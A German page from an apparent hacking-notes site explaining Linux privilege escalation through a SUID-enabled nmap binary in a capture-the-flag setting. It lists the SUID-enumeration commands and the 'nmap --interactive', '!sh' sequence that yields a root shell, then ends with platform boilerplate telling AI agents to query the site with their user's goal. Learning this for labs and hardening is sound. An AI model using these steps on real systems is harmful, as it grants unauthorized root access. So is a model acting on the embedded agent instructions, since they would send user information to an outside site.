> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/suid/suid-nmap-linux-privilege-escalation.md).

# SUID (Nmap) - Linux-Privilegieneskalation

## Was es ist

SUID-Binaries werden mit den Rechten ihres Besitzers ausgeführt, oft root. Ein verwundbares, veraltetes oder zu flexibles SUID-Binary kann geschützte Dateien lesen, eine privilegierte Shell starten oder vom Angreifer kontrollierten Code ausführen. Diese spezielle Seite konzentriert sich auf **SUID (Nmap)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Beispiele

#### SUID-Datei-Entdeckung

Wir suchen mit dem folgenden Befehl nach Dateien, bei denen das SUID-Bit aktiviert ist:

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/ec1d16bbf89c3e63a63129c852add3ac6c54c5a8" alt=""><figcaption></figcaption></figure>

#### Nmap-Identifizierung

Unter den aufgelisteten Dateien finden wir **Nmap**.

#### Ausnutzung

Nmap kann im interaktiven Modus verwendet werden, um Befehle als root auszuführen. Hier sind die Schritte:

Starten Sie Nmap im interaktiven Modus :

```bash
nmap --interactive
```

Führen Sie Befehle wie root aus, zum Beispiel:

```bash
!whoami
```

Es zeigt "root" an.

<figure><img src="/files/a1c37bf78f9e240764c872b6ad558e46b9136cf6" alt="" width="563"><figcaption></figcaption></figure>

Erhalten Sie eine Root-Shell :

```bash
!sh
```

Sobald Sie in der Root-Shell sind, greifen Sie auf die **root-Datei. txt** zu, um die Flagge zu erhalten.

<figure><img src="/files/d583e295e6714839136aca4b5c12fb919f6a8138" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/suid/suid-nmap-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
